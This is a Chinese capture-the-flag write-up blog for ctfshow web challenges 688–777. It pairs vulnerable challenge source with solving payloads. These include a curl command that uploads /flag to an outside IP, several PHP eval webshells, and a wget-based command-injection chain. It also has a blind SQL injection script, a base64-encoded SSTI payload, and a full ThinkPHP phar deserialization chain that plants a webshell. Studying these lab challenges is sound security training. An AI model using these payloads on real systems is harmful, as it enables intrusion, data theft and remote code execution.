web688

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);

//flag in /flag
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url=escapeshellarg($url);
$url=escapeshellcmd($url);
system("curl ".$url);

传参发现它存在转义字符image-20240510185810444

会对符号进行转义,造成符号没法使用,加一个\符号就好,奇怪的是我需要再flag后面加个空格,不解,难道是当时卡了?

1
?url=http://101.34.80.152:9999/' -T /flag '

web689

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
error_reporting(0);
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];

}else{
show_source(__FILE__);
exit();
}

if(strpos($path,'..') > -1){
die('This is a waf!');
}


if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.CTFshow";
}

如果path这么穿是不是就相当于写进去文件里了

image-20240510193728443

1
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php eval($_POST[a]);phpinfo();?>&path=1.php

我们这么穿,相当于file的值是

1
http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php eval($_POST[a]);phpinfo();?>

对应path=a.php写入文件 file_put_contents($path, file_get_contents($url));

就是向1.php写入

1
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php eval($_POST[a]);phpinfo();?>

image-20240510195314340

web690

又一次见证到了%0a换行符的威力

1
2
3
4
5
6
7
8
9
10
<?php 
highlight_file(__FILE__);
error_reporting(0);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit("sorry");
}

exec('./ ' . implode(" ", $args));

可以看到正则只允许字母数字和下划线存在,但是我们可以用%0a换行符来绕过,正好%0a也有和分号类似的作用

题目还会根据传入数组的数量进行遍历

但是又无回显,看yu师傅自己又写了个文件,

用python在本地起了个80端口的web服务
python -m SimpleHTTPServer 80 在当前目录下创建一个index.html,wget便会下载该文件
文件内容

1
2
3
<?php 
file_put_contents("shell.php",'<?php eval($_POST[1]);?>');
?>

所以第一步就是下载文件,但是在此之前我们先创个文件夹,进入这个文件夹后再weget,具体原因和我们下面几步有关。
args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip的十进制
相当于执行命令

1
2
3
4
./ 1
mkdir a
cd a
wget xxxxx

这时候你的a目录下已经有了一个index.html
那么我们只要用php命令来执行他就可以了,但是文件名(index.html)中有(.)还是有问题。
所以下面一步就是怎么把这个名字给改掉。
一个比较好的方法是通过tar命令,我们如果压缩文件夹的话,文件夹中的内容在压缩文件中会完完整整的保留下来。
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
相当于执行
tar cvf shell a

1
2
3
将文件夹a打包成了shell。
这样我们就可以执行php代码了
args[]=1%0a&args[]=php&args[]=shell

本地创建一个index.html,内容为写一句话木马
‘);
?>

同一目录下起一个web服务
python -m SimpleHTTPServer 80

//下载文件
args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip十进制

//打包文件使文件名可用
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a

//执行php文件
args[]=1%0a&args[]=php&args[]=shell

最后访问/shell.php就可以用刚才写的一句话木马了。

怕服务器被日,我并没有实践

web691

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

include('inc.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}

?>

好久没认真手注sql了

今天来试试

1.首先判断列数,大于等于3小于4,说明列数为3

1
username='or 1 order by 1,2,3,4#&password=1

image-20240510202656229

借用yu师傅一张图

image-20240510202759201

当字符d大于第一个字母是会显示正确结果

image-20240510203057281

c小于则不显示正确结果,1也是

image-20240510203119449

image-20240510203133818

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import string

s = ".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
url = "http://490db77d-6f5a-4b8a-ba95-4620b6eaf29c.challenge.ctf.show/"

flag= ""
for i in range(1, 50):
print(i)
for j in s:
data = {
'username': "' or 1 union select 1,2,'{0}' order by 3#".format(flag+ j),
'password': '1'
}
r = requests.post(url, data=data)
# print(data['username'])
if ("</code>admin" in r.text):
flag = flag + chr(ord(j) - 1)
print(flag)
break

web692

1
2
3
4
5
6
7
8
9
<?php

highlight_file(__FILE__);

if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

函数addslashes()作用是返回在预定义字符之前添加反斜杠的字符串。预定义字符是单引号(’)双引号(”)反斜杠(\)NULL。

输入\';phpinfo();//

\'经过addslashes()之后变为\\\',随后preg_replace会将两个连续的\合并为一个,也就是将\\\'转为\\',这样我们就成功引入了一个单引号,闭合上文注释下文,中间加入要执行的代码即可。看来是preg_replace函数特性。经测试,该函数会针对反斜线进行转义,即成对出现的两个反斜线合并为一个,以前不知道这个点(跟进)。

1
\';eval($_POST[a]);//

之后就getshell了

web693

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>
1
2
3
func = isset($_GET['function'])?$_GET['function']:'filters'; 
call_user_func($func,$_GET);
include($file);

extract变量覆盖来改变$file的值。尝试读取题目中提示到的值

1
2
/?function=extract&file=php://filter/convert.base64-encode/resource=function.php/
?function=extract&file=php://filter/convert.base64-encode/resource=admin.php

function.php

1
2
3
4
5
6
7
8
9
<?php
function filters($data){
foreach($data as $key=>$value){
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Do not hack me!');
}
}
}
?

admin.php

1
2
3
4
5
6
7
8
<?php
if(empty($_SESSION['name'])){
session_start();
echo 'hello ' + $_SESSION['name'];
}else{
die('you must login with admin');
}
?>
1
2
3
4
5
6
7
//shell.txt
<?php eval($_POST[1]);?>

GET:
?function=extract&file=http://11111/txt(冒着险
POST:
1=system('cat /f*');

web694

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

error_reporting(0);

$action=$_GET['action'];
$file = substr($_GET['file'],0,3);
$ip = array_shift(explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']));

$content = $_POST['content'];


$path = __DIR__.DIRECTORY_SEPARATOR.$ip.DIRECTORY_SEPARATOR.$file;


if($action=='ctfshow'){
file_put_contents($path,$content);
}else{
highlight_file(__FILE__);
}


?>

源码里写到获取file参数前三位,ip获取x-Forwarded-For的ip地址,

1
$path = __DIR__.DIRECTORY_SEPARATOR.$ip.DIRECTORY_SEPARATOR.$file;

__DIR____DIR__是PHP中的一个魔术常量,表示当前文件所在的目录的绝对路径。这个常量会返回当前文件的目录路径,不包括文件名。

DIRECTORY_SEPARATORDIRECTORY_SEPARATOR是PHP中的一个常量,表示目录分隔符。在不同操作系统中,目录分隔符可能不同,使用DIRECTORY_SEPARATOR可以保证在不同系统上的兼容性。

如果当前目录是/var/www/html file=a.php ip=127.0.0.1的话

path就会拼接成/var/www/html/127.0.0.1/a.php

我们可以控制ip和file

将ip设置为a.php就会变成/var/www/html/a.php/.指向当前目录下

就会在当前目录下创建一个a.php文件

image-20240511175214651

记得X-Forwarded_For:后加个空格,之后访问a.php就好了

web695 koajs

1
https://github.com/koajs/koa-body/issues/75
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
router.post('/uploadfile', async (ctx, next) => {
const file = ctx.request.body.files.file;

if (!fs.existsSync(file.path)) {
return ctx.body = "Error";
}

if(file.path.toString().search("/dev/fd") != -1){
file.path="/dev/null"
}

const reader = fs.createReadStream(file.path);
let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
let filePath = path.join(__dirname, 'upload/') + fileId
const upStream = fs.createWriteStream(filePath);
reader.pipe(upStream)
return ctx.body = "Upload success ~, your fileId is here:" + fileId;

});

router.get('/downloadfile/:fileId', async (ctx, next) => {
let fileId = ctx.params.fileId;
ctx.attachment(fileId);
try {
await send(ctx, fileId, { root: __dirname + '/upload' });
}catch(e){
return ctx.body = "no_such_file_~"
}
});

讲真的这个题我很懵逼,我抓了半天包没找到Json发的包在哪里

image-20240511184419186

之后访问/downloadfile/id

下载就好了

web696

给了附件,先代审吧

分web1和web2

打开附件就提示django,那应该有ssti吧

先看web1

image-20240511185651370

好像都提示了有ssrf了哈哈哈,else哪里存在ssrf,进入到home路由应该先登录看看adminimage-20240511185823423

需要token

web2里存在ssti

image-20240511185913140

思路大概是先登录admin,然后ssti

先注册一个看看

逆天image-20240511190151303

这我注册鸡毛,得亏有源码,Json格式提交数据

行了,寄,看wp吧

image-20240511190522890

了解到:在django中创建admin后,数据库中是用is_superuser进行标识的。为1代表的是管理员。
而用户注册又是将整个data数据写入了数据库。所以我们注册的时候可以增加一个is_superuser参数,为了我们能访问所有admin页面,需要再加个is_staff参数

99f355c639364e969495507dafbdd8ca

image-20240511190923899

1
{"username":"Q1ngchuan","password":"123","is_superuser":1,"is_staff":1}

之后进行登录

换成login就行

image-20240511193510586

怎么我进入到home页面是这样。。。到这吧,放弃了后面需要ssrf打另一台,之后ssti

/home

{“url”:”http://127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=xxxx","token":"994f639af3c57121cb756fd0bd126478"}

1
2
3
4
/home

{"url":"http://127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=eyJzeW1ib2xzIjoiXHUwMDdiXHUwMDdieC5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10uZXZhbCgnX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwiY2F0IC9mbGFnXCIpLnJlYWQoKScpXHUwMDdkXHUwMDdkLSIsIm51bTEiOiIxIiwibnVtMiI6IjIifQ==","token":"994f639af3c57121cb756fd0bd126478"}

web697

开局提示传NOHO,随便传传

image-20240511194643497

试了几个,不是太大就是太小,当传入数组是,出现

image-20240511194717914

测试

image-20240511194744975

发现源码有sql注入,平常题目传入后台密码一般会经过sql注入

出现了乱码,可能是经过某种加密了,如果是最常见的md5加密的话,我们就可以绕过了。有如下几个字符串,在经过md5加密后的十六进制是自带单引号的。

1
2
3
ffifdyop
e58
4611686052576742364

只能传数字,传4611686052576742364

web671

我就奇怪了,做题人怎么知道这是哈希长度扩展攻击的,源码在哪?????

image-20240511195354804

一个登录框就知道了?就哈希长度扩展攻击,就是不知道哪里看到的,估计比赛有源码吧

web718

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
show_source(__FILE__);
error_reporting(0);

$v1=0;$v2=0;$v3=0;
$json=(array)json_decode(@$_GET['data']);


if(is_array($json)){
is_numeric($json["part1"])?die("nope"):NULL;
if(@$json["part1"]){
($json["part1"]>2021)?$v1=1:NULL;
}
if(is_array($json["part2"])){
if(count($json["part2"])!==5 OR !is_array($json["part2"][0])) die("nope");
$pos = array_search("show", $json["a2"]);
$pos===false?die("nope"):NULL;
foreach($json["part2"] as $key=>$val){
$val==="show"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['c'];
$d=@$_GET['d'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "ctfshow")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>

第一个就不多说了,Json格式,2022a即可,后面要求part2为数组,且长度大于5,塞5个数组就行,要求数组a2理由show,填上就行,data就完成了

后面来了,即要求c[1]和b相等,又要求不绝对相等

  1. 首先保证$c[1]存在,
  2. 然后eregi()函数我们可以用**%00截断**,
  3. strcmp比较是==弱类型比较,构造 $c[1]为字符串,可以和%00(空)匹配,后面arraystring进行strcmp比较的时候会返回一个null
  4. 然后让$c[0]=”ctfshow”即可
1
?data={"part1":"2022a","part2":[["1"],"1","1","1","1"],"a2":["show"]}&c[1][]=1&d=%00&c[0]="ctfshow"

web743

1
a=QNKCDZO&b=240610708&c=aaroZmOk&d=aaO8zKZF&remember_me=yes

web745

1
function=file_get_contents&param%5B%5D=/flag.txt

web777

写完这道题去吃饭

访问www.zip得到源码,tp5的sql注入

1
username[0]=not like&username[1][0]=%25%25&username[1][1]=233&username[2]=) union select 1,'123','123'%23&password=123

image-20240511205035019

进入管理员页面存在文件上传,但是后缀是白名单,另外还有一个listpic函数
其中的is_dir可以触发phar。
那就好说了,上传一个phar然后触发。

image-20240511205202162

直接上phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
<?php
namespace think;
use think\session\driver\Memcache;
class Process
{
private $processPipes;
private $status;
private $processInformation;
public function __construct(){
$this->processInformation['running']=true;
$this->status=3;
$this->processPipes=(new Memcache(1));
}
}


namespace think;
class Model{}


namespace think\model;
use think\Model;
class Merge extends Model{
public $a='1';
public function __construct(){}
}


namespace think\model\relation;
use think\console\Output;
use think\db\Query;
use think\model\Merge;
use think\model\Relation;
class HasMany extends Relation
{
//protected $baseQuery=true;
protected $parent;
protected $localKey='a';
protected $foreignKey='a';
protected $pivot;
public function __construct(){
$this->query=new Output();
$this->parent= new Merge();

}
}


namespace think\model;
class Relation{}


namespace think\db;
class Query{}


namespace think\console;
class Output{
protected $styles = [
'info',
'error',
'comment',
'question',
'highlight',
'warning',
'getTable',
'where'
];
private $handle;
public function __construct()
{
$this->handle = (new \think\session\driver\Memcache(0));
}
}


namespace think\session\driver;
class Memcache
{
protected $handler;
public function __construct($i)
{
if($i==0){
$this->handler = (new \think\cache\driver\Memcached(0));
}else{
$this->handler = (new \think\model\relation\HasMany);
}
}
}


namespace think\cache\driver;
class Memcached
{
protected $tag;
protected $options;
protected $handler;

public function __construct($i)
{
if($i==0){
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+', /* eval($_POST[1]);?> */
];
$this->handler = (new File);
}
}
}

class File
{
protected $tag;
protected $options;
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/write=convert.base64-decode/resource=/var/www/html/public/',
];
}
}

@unlink("phar.jpg");
$phar = new \Phar("phar.jpg"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A <?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata(new \think\Process()); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

文件需要改一下后缀,白名单里的就行

1
2
url?s=admin/index/listpic
dir=phar://static/img/person.jpg

执行成功后会生成一个fd25663b72dc7867bc6b0764ce53cd49.php ,密码是1,蚁剑连接可以拿到flag。